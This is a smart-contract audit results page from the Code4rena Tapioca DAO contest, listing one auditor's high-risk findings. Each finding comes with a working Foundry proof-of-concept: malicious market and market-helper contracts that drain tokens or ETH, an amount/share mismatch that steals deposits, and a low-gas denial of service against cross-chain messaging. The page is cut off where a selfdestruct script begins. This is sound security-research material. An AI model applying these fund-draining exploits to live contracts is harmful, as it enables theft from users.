Tapioca DAO - 0x73696d616f's results

The first ever Omnichain money market, powered by LayerZero.

General Information

Platform: Code4rena

Start Date: 05/07/2023

Pot Size: $390,000 USDC

Total HM: 136

Participants: 132

Period: about 1 month

Judge: LSDan

Total Solo HM: 56

Id: 261

League: ETH

Tapioca DAO

Findings Distribution

Researcher Performance

Rank: 6/132

Findings: 12

Award: $14,643.94

🌟 Selected for report: 4

🚀 Solo Findings: 3

Findings Information

🌟 Selected for report: 0x73696d616f

Labels

bug
3 (High Risk)
primary issue
selected for report
sponsor confirmed
H-01

Awards

3361.1482 USDC - $3,361.15

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L190 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L516 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L230-L231

Vulnerability details

Impact

The TOFT available in the TapiocaOFT contract can be stolen when calling removeCollateral() with a malicious market.

Proof of Concept

(m)TapiocaOFT inherit BaseTOFT, which has a function removeCollateral() that accepts a market address as an argument. This function calls _lzSend() internally on the source chain, which then is forwarded to the destination chain by the relayer and calls lzReceive().

lzReceive() reaches _nonBlockingLzReceive() in BaseTOFT and delegate calls to the BaseTOFTMarketModule on function remove(). This function approves TOFT to the removeParams.market and then calls function removeCollateral() of the provided market. There is no validation whatsoever in this address, such that a malicious market can be provided that steals all funds, as can be seen below:

function remove(bytes memory _payload) public {
    ...
    approve(removeParams.market, removeParams.share); // no validation prior to this 2 calls
    IMarket(removeParams.market).removeCollateral(
        to,
        to,
        removeParams.share
    );
    ...
}

The following POC in Foundry demonstrates this vulnerability, the attacker is able to steal all TOFT in mTapiocaOFT:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MaliciousMarket {
    address public immutable attacker;
    address public immutable tapiocaOft;

    constructor(address attacker_, address tapiocaOft_) {
        attacker = attacker_;
        tapiocaOft = tapiocaOft_;
    } 

    function removeCollateral(address, address, uint256 share) external {
        IERC20(tapiocaOft).transferFrom(msg.sender, attacker, share);
    }
}

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772;

    function test_POC_StealAllAssetsInTapiocaOFT_RemoveCollateral_MaliciousMarket()
        public
    {
        vm.createSelectFork("https://eth.llamarpc.com");

        address marketModule_ = address(
            new BaseTOFTMarketModule(
                address(LZ_ENDPOINT),
                address(0),
                IYieldBoxBase(address(2)),
                "SomeName",
                "SomeSymbol",
                18,
                block.chainid
            )
        );

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(marketModule_),
            payable(address(4))
        );

        // TOFT is acummulated in the TapiocaOft contract and can be stolen by the malicious market
        // for example, strategyDeposit of the BaseTOFTMarketModule credits TOFT to tapiocaOft
        uint256 tOftInTapiocaOft_ = 1 ether;
        deal(address(tapiocaOft_), address(tapiocaOft_), tOftInTapiocaOft_);

        address attacker_ = makeAddr("attacker");
        deal(attacker_, 1 ether); // lz fees

        uint16 lzDstChainId_ = 102;
        address zroPaymentAddress_ = address(0);
        ICommonData.IWithdrawParams memory withdrawParams_;
        ITapiocaOFT.IRemoveParams memory removeParams_;
        removeParams_.share = tOftInTapiocaOft_;
        removeParams_.market = address(new MaliciousMarket(attacker_, address(tapiocaOft_)));
        ICommonData.IApproval[] memory approvals_;
        bytes memory adapterParams_;

        tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));

        vm.prank(attacker_);
        tapiocaOft_.removeCollateral{value: 1 ether}(
            attacker_,
            attacker_,
            lzDstChainId_,
            zroPaymentAddress_,
            withdrawParams_,
            removeParams_,
            approvals_,
            adapterParams_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_MARKET_REMOVE_COLLATERAL,
            attacker_,
            attacker_,
            bytes32(bytes20(attacker_)),
            removeParams_,
            withdrawParams_,
            approvals_
        );

        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
        assertEq(tapiocaOft_.balanceOf(attacker_), tOftInTapiocaOft_);
    }
}

Tools Used

Vscode, Foundry

Whitelist the removeParams.market address to prevent users from providing malicious markets.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-08-09T09:26:13Z

minhquanym marked the issue as primary issue

#1 - c4-sponsor

2023-08-29T17:22:15Z

0xRektora marked the issue as sponsor confirmed

#2 - c4-judge

2023-09-29T18:02:19Z

dmvt marked the issue as selected for report

Findings Information

🌟 Selected for report: windhustler

Also found by: 0x73696d616f

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-1293

Awards

1163.4744 USDC - $1,163.47

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L190 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L44 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L512 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L240

Vulnerability details

Impact

All the ETH in (m)TapiocaOFT can be stolen, which is relevant when the underlying asset erc is ETH.

Proof of Concept

(m)TapiocaOFT allows removing collateral from Singularity through a cross chain call, but the address of the MarketHelper is not validated.

To send a cross chain removeCollateral() transaction, users call removeCollateral() of BaseTOFT (which is inherited by (m)TapiocaOFT), and calls _lzSend() internally.

Then, the LayerZero endpoint calls lzReceive() in the destination chain of (m)TapiocaOFT, which eventually reaches _nonBlockingLzReceive(). Here, the packetType is PT_MARKET_REMOVE_COLLATERAL and the function remove() from the BaseOFTMarketModule is called.

Function remove() enables withdrawing from the market if the withdrawParams.withdraw flag is true. Then, it calls withdrawToChain() of address removeParams.marketHelper, without checking its validity, with a msg.value of withdrawParams.withdrawLzFeeAmount. Thus, a malicious market can be sent as removeParams.marketHelper and a withdrawParams.withdrawLzFeeAmount of the eth balance of the (m)TapiocaOFT contract. The vulnerable piece of code is in the function remove(), below:

function remove(bytes memory _payload) public {
    ...
    IMagnetar(removeParams.marketHelper).withdrawToChain{ // arbitrary marketHelper
        value: withdrawParams.withdrawLzFeeAmount // arbitrary value
    }(
        ybAddress,
        to,
        assetId,
        withdrawParams.withdrawLzChainId,
        LzLib.addressToBytes32(to),
        IYieldBoxBase(ybAddress).toAmount(
            assetId,
            removeParams.share,
            false
        ),
        removeParams.share,
        withdrawParams.withdrawAdapterParams,
        payable(to),
        withdrawParams.withdrawLzFeeAmount
    );
}

The following POC shows an attacker stealing the balance of a TapiocaOFT contract with ETH as underlying asset:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol";

contract MockMarket {
    function removeCollateral(address from, address to, uint256 share) external {}

    function yieldBox() external view returns (address payable) {
        return payable(address(this));
    }

    function collateralId() external view returns (uint256) {}

    function toAmount(
        uint256 assetId,
        uint256 share,
        bool roundUp
    ) external view returns (uint256 amount) {}
}

contract MaliciousMarketHelper {
    address public attacker;

    constructor(address attacker_) {
        attacker = attacker_;
    }

    function withdrawToChain(
        address yieldBox,
        address from,
        uint256 assetId,
        uint16 dstChainId,
        bytes32 receiver,
        uint256 amount,
        uint256 share,
        bytes memory adapterParams,
        address payable refundAddress,
        uint256 gas
    ) external payable {
        payable(attacker).transfer(msg.value);
    }
}

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772;

    function test_POC_StealAllETHInTapiocaOFT_RemoveCollateral_WithdrawParams()
        public
    {
        vm.createSelectFork("https://eth.llamarpc.com");

        address marketModule_ = address(
            new BaseTOFTMarketModule(
                address(LZ_ENDPOINT),
                address(0),
                IYieldBoxBase(address(2)),
                "SomeName",
                "SomeSymbol",
                18,
                block.chainid
            )
        );

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(marketModule_),
            payable(address(4))
        );
        uint256 ethInTapiocaOFT_ = 10 ether; // TapiocaOFT has 10 ether from wrapping
        deal(address(tapiocaOft_), ethInTapiocaOFT_);

        address attacker_ = makeAddr("attacker");
        deal(attacker_, 1 ether); // lz fees

        uint16 lzDstChainId_ = 102;
        address zroPaymentAddress_ = address(0);
        ICommonData.IWithdrawParams memory withdrawParams_;
        withdrawParams_.withdraw = true;
        withdrawParams_.withdrawLzFeeAmount = ethInTapiocaOFT_;
        ITapiocaOFT.IRemoveParams memory removeParams_;
        removeParams_.market = address(new MockMarket());
        removeParams_.marketHelper = address(new MaliciousMarketHelper(attacker_));
        ICommonData.IApproval[] memory approvals_;
        bytes memory adapterParams_;

        tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));

        vm.prank(attacker_);
        tapiocaOft_.removeCollateral{value: 1 ether}(
            attacker_,
            attacker_,
            lzDstChainId_,
            zroPaymentAddress_,
            withdrawParams_,
            removeParams_,
            approvals_,
            adapterParams_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_MARKET_REMOVE_COLLATERAL,
            attacker_,
            attacker_,
            bytes32(bytes20(attacker_)),
            removeParams_,
            withdrawParams_,
            approvals_
        );

        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
        assertEq(attacker_.balance, ethInTapiocaOFT_);
    }
}

Tools Used

Vscode, Foundry

Whitelist removeParams.marketHelper so that malicious contracts can't be used to steal funds or other attacks.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-08-09T09:18:54Z

minhquanym marked the issue as primary issue

#1 - c4-pre-sort

2023-08-09T09:25:18Z

minhquanym marked the issue as duplicate of #1293

#2 - c4-judge

2023-09-29T21:15:09Z

dmvt marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0x73696d616f

Labels

bug
3 (High Risk)
primary issue
selected for report
sponsor confirmed
edited-by-warden
H-14

Awards

3361.1482 USDC - $3,361.15

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L224 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L450 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L47 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L58 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L154 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L181-L185 https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L118

Vulnerability details

Impact

Attacker can be debited only the least possible amount (1) but send the share argument as the maximum possible value corresponding to the erc balance of (m)TapiocaOFT. This would enable the attacker to steal all the erc balance of the (m)TapiocaOFT contract.

Proof of Concept

In BaseTOFT, SendToStrategy(), has no validation and just delegate calls to sendToStrategy() function of the BaseTOFTStrategyModule.

In the mentioned module, the quantity debited from the user is the amount argument, having no validation in the corresponding share amount:

function sendToStrategy(
    address _from,
    address _to,
    uint256 amount,
    uint256 share,
    uint256 assetId,
    uint16 lzDstChainId,
    ICommonData.ISendOptions calldata options
) external payable {
    require(amount > 0, "TOFT_0");
    bytes32 toAddress = LzLib.addressToBytes32(_to);
    _debitFrom(_from, lzEndpoint.getChainId(), toAddress, amount);
    ...

Then, a payload is sent to the destination chain in _lzSend() of type PT_YB_SEND_STRAT.

Again, in BaseTOFT, the function _nonBlockingLzReceive() handles the received message and delegate calls to the BaseTOFTStrategyModule, function strategyDeposit(). In this, function, among other things, it delegate calls to depositToYieldbox(), of the same module:

function depositToYieldbox(
    uint256 _assetId,
    uint256 _amount,
    uint256 _share,
    IERC20 _erc20,
    address _from,
    address _to
) public {
    _amount = _share > 0
        ? yieldBox.toAmount(_assetId, _share, false)
        : _amount;
    _erc20.approve(address(yieldBox), _amount);
    yieldBox.depositAsset(_assetId, _from, _to, _amount, _share);
}

The _share argument is the one the user initially provided in the source chain; however, the _amount, is computed from the yieldBox ratio, effectively overriding the specified amount in the source chain of 1. This will credit funds to the attacker from other users that bridged assets through (m)TapiocaOFT.

The following POC in Foundry demonstrates how an attacker can be debited on the source chain an amount of 1 but call depositAsset() on the destination chain with an amount of 2e18, the available in the TapiocaOFT contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockYieldBox is Test {
    function depositAsset(
        uint256 assetId,
        address from,
        address to,
        uint256 amount,
        uint256 share
    ) external payable returns (uint256, uint256) {}
    
    function toAmount(
        uint256,
        uint256 share,
        bool 
    ) external pure returns (uint256 amount) {
        // real formula amount = share._toAmount(totalSupply[assetId], _tokenBalanceOf(assets[assetId]), roundUp);
        // assume ratio is 1:1
        return share;
    }
}

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_YB_SEND_STRAT = 770;

    function test_POC_SendToStrategy_WithoutAllDebitedFrom() public {
        vm.createSelectFork("https://eth.llamarpc.com");

        address mockERC20_ = address(new ERC20("mockERC20", "MERC20"));

        address strategyModule_ = address(new BaseTOFTStrategyModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));

        address mockYieldBox_ = address(new MockYieldBox());

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            mockERC20_,
            IYieldBoxBase(mockYieldBox_),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(strategyModule_),
            payable(address(3)),
            payable(address(4))
        );

        // some user wraps 2e18 mock erc20
        address user_ = makeAddr("user");
        deal(mockERC20_, user_, 2e18);
        vm.startPrank(user_);
        ERC20(mockERC20_).approve(address(tapiocaOft_), 2e18);
        tapiocaOft_.wrap(user_, user_, 2e18);
        vm.stopPrank();

        address attacker_ = makeAddr("attacker");
        deal(attacker_, 1e18); // lz fees

        address from_ = attacker_;
        address to_ = attacker_;
        uint256 amount_ = 1;
        uint256 share_ = 2e18; // steal all available funds in (m)Tapioca (only 1 user with 2e18)
        uint256 assetId_ = 1;
        uint16 lzDstChainId_ = 102;
        address zroPaymentAddress_ = address(0);
        ICommonData.ISendOptions memory options_ = ICommonData.ISendOptions(200_000, zroPaymentAddress_);

        tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));

        // attacker is only debited 1 amount, but specifies 2e18 shares, a possibly much bigger corresponding amount
        deal(mockERC20_, attacker_, 1);
        vm.startPrank(attacker_);
        ERC20(mockERC20_).approve(address(tapiocaOft_), 1);
        tapiocaOft_.wrap(attacker_, attacker_, 1);
        tapiocaOft_.sendToStrategy{value: 1 ether}(from_, to_, amount_, share_, assetId_, lzDstChainId_, options_);
        vm.stopPrank();

        bytes memory lzPayload_ = abi.encode(
            PT_YB_SEND_STRAT,
            bytes32(uint256(uint160(from_))),
            attacker_,
            amount_,
            share_,
            assetId_,
            zroPaymentAddress_
        );
        
        // attacker was debited from 1 amount, but deposit sends an amount of 2e18
        vm.expectCall(address(mockYieldBox_), 0, abi.encodeCall(MockYieldBox.depositAsset, (assetId_, address(tapiocaOft_), attacker_, 2e18, 2e18)));
        
        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
    }
}

Tools Used

Vscode, Foundry

Given that it's impossible to fetch the YieldBox ratio in the source chain, it's best to stick with the amount only and remove the share argument in the cross chain sendToStrategy() function call.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-08-09T06:55:09Z

minhquanym marked the issue as primary issue

#1 - c4-sponsor

2023-09-01T16:09:42Z

0xRektora (sponsor) confirmed

#2 - c4-judge

2023-09-29T18:36:48Z

dmvt marked the issue as selected for report

Findings Information

🌟 Selected for report: windhustler

Also found by: 0x73696d616f

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
upgraded by judge
duplicate-1207

Awards

1163.4744 USDC - $1,163.47

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L73 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L104 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L71 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L119 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L61 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L106 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L116 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol#L116 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol#L165 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L118 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/RelayerV2.sol#L111

Vulnerability details

Impact

DoS of the (m)TapiocaOFT cross chain calls.

Proof of Concept

The behaviour of the LayerZero Endpoint is blocking when calling lzReceive() in the destination chain. The RelayerV2 calls the UltraLightNodeV2 send() function, which calls the receivePayload() function of the Endpoint. Notice below that if the lzReceive() call fails, the message is stored and no more messages can be sent until this message is cleared or fulfilled.

function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant { // assert and increment the nonce. no message shuffling require(_nonce == ++inboundNonce[_srcChainId][_srcAddress], "LayerZero: wrong nonce"); LibraryConfig storage uaConfig = uaConfigLookup[_dstAddress]; // authentication to prevent cross-version message validation // protects against a malicious library from passing arbitrary data if (uaConfig.receiveVersion == DEFAULT_VERSION) { require(defaultReceiveLibraryAddress == msg.sender, "LayerZero: invalid default library"); } else { require(uaConfig.receiveLibraryAddress == msg.sender, "LayerZero: invalid library"); } // block if any message blocking StoredPayload storage sp = storedPayload[_srcChainId][_srcAddress]; require(sp.payloadHash == bytes32(0), "LayerZero: in message blocking"); try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) { // success, do nothing, end of the message delivery } catch (bytes memory reason) { // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload)); emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason); } }

Thus, if malicious users are able to send messages with little gas limit, it is possible to intentionally block the cross chain messages.

LayerZero solidity examples try to prevent this issue by setting a minimum gas limit in the user applications. Take a look at _checkAdapterParams() in OFTCoreV2:

function _checkAdapterParams(uint16 _dstChainId, uint16 _pkType, bytes memory _adapterParams, uint _extraGas) internal virtual { if (useCustomAdapterParams) { _checkGasLimit(_dstChainId, _pkType, _adapterParams, _extraGas); function _checkAdapterParams(uint16 _dstChainId, uint16 _pkType, bytes memory _adapterParams, uint _extraGas) internal virtual { if (useCustomAdapterParams) { _checkGasLimit(_dstChainId, _pkType, _adapterParams, _extraGas); } else { require(_adapterParams.length == 0, "OFTCore: _adapterParams must be empty."); } } } else { require(_adapterParams.length == 0, "OFTCore: _adapterParams must be empty."); } }

It checks the gas limit in the _adapterParams:

function _checkGasLimit(uint16 _dstChainId, uint16 _type, bytes memory _adapterParams, uint _extraGas) internal view virtual { uint providedGasLimit = _getGasLimit(_adapterParams); uint minGasLimit = minDstGasLookup[_dstChainId][_type] + _extraGas; require(minGasLimit > 0, "LzApp: minGasLimit not set"); require(providedGasLimit >= minGasLimit, "LzApp: gas limit is too low"); }

However, since the modules call _lzSend() directly, the gas limit is never checked and malicious users can intentionally send a very low gas limit to block the message execution.

The LayerZero UltraLightNodeV2 attempts to use the default gas limit if the adapterParams.length is 0, but if it is set to abi.encodePacked(uint16(1), uint256(1)), the length is bigger than 0, so the default is not used, being 1 the gas limit sent. A gas limit of 1 can not be sent because the RelayerV2 checks if the gas limit is bigger than 0, however, Tapioca can use a different Relayer.

The following POC in Foundry illustrates this behaviour. It uses the function triggerSendFrom() from BaseTOFTOptionsModule:

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Test, console} from "forge-std/Test.sol"; import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol"; import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol"; import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol"; contract TapiocaOFTPOC is Test { address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; uint16 public constant PT_SEND_FROM = 778; function test_POC_DoS_0gas() public { vm.createSelectFork("https://eth.llamarpc.com"); address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid)); TapiocaOFT tapiocaOft_ = new TapiocaOFT( LZ_ENDPOINT, address(0), IYieldBoxBase(address(3)), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(address(2)), payable(address(3)), payable(optionsModule_) ); address user_ = makeAddr("user"); deal(user_, 2 ether); vm.prank(user_); tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether); uint16 lzDstChainId_ = 102; bytes memory airdropAdapterParams_ = abi.encodePacked(uint16(1), uint256(1)); // lowest gas limit possible of 1 address zroPaymentAddress_ = address(0); uint256 amount_ = 1; ISendFrom.LzCallParams memory sendFromData_; sendFromData_.refundAddress = payable(user_); ICommonData.IApproval[] memory approvals_; tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_)); // adapter params with 1 gas limit goes through, which will DoS in the dst chain vm.prank(user_); tapiocaOft_.triggerSendFrom{value: 1 ether}( lzDstChainId_, airdropAdapterParams_, zroPaymentAddress_, amount_, sendFromData_, approvals_ ); bytes memory lzPayload_ = abi.encode( PT_SEND_FROM, user_, amount_, sendFromData_, 102, approvals_ ); vm.prank(LZ_ENDPOINT); vm.expectRevert(); tapiocaOft_.lzReceive{gas: 1}(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_); } }

Tools Used

Vscode, Foundry, Etherscan

Implement a minimum gas limit such that the message is always able to be stored in the destination chain, in the (m)TapiocaOFT contract itself, not the blocking Endpoint.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-08-07T14:25:20Z

minhquanym marked the issue as primary issue

#1 - c4-sponsor

2023-08-22T17:19:49Z

0xRektora marked the issue as sponsor confirmed

#2 - c4-judge

2023-09-29T20:25:09Z

dmvt marked issue #1207 as primary and marked this issue as a duplicate of 1207

#3 - c4-judge

2023-09-29T20:25:14Z

dmvt changed the severity to 3 (High Risk)

#4 - c4-judge

2023-09-29T20:25:39Z

dmvt marked the issue as satisfactory

Findings Information

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-1083

Awards

56.1709 USDC - $56.17

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L47 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L152 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L154 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L127 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L149

Vulnerability details

Impact

Lost of debited/sent funds in the source chain that can't be used in the destination chain in the corresponding function counterpart.

Proof of Concept

The contracts (m)TapiocaOFT delegate call to the available modules, depending on the desired function.

The modules have functions that delegate call to an address provided as argument, named module. Thus, an attacker may call directly the modules and provide a module argument that is a malicious contract that selfdestructs it.

Due to the fact that the cross chain calls are a 2 step process, funds might be debited or sent in the source chain, but never credited/deposied in the destination chain because the module was selfdestructed and it's no longer possible to execute its logic.

For example, in the module BaseTOFTStrategyModule, function strategyDeposit() is vulnerable to this, as the funds are debited in the source chain in sendToStrategy():

function sendToStrategy(
    address _from,
    address _to,
    uint256 amount,
    uint256 share,
    uint256 assetId,
    uint16 lzDstChainId,
    ICommonData.ISendOptions calldata options
) external payable {
    ...
    _debitFrom(_from, lzEndpoint.getChainId(), toAddress, amount);
   ...

But then are never credited in the destination chain strategyDeposit() because the module was selfdestructed, as the result of a previous delegate call to a malicious module address that selfdestructs:

function strategyDeposit(
    address module,
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload,
    IERC20 _erc20
) public {
    ...
    (bool success, bytes memory reason) = module.delegatecall(
        abi.encodeWithSelector(
            this.depositToYieldbox.selector,
            assetId,
            amount,
            share,
            _erc20,
            address(this),
            onBehalfOf
        )
    );
    ...
}

The following Foundry script shows how the module can be selfdestructed. A script was written instead of a test because Foundry tests are not able to show the effects of selfdestruct due to it only taking effect after the call ends.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

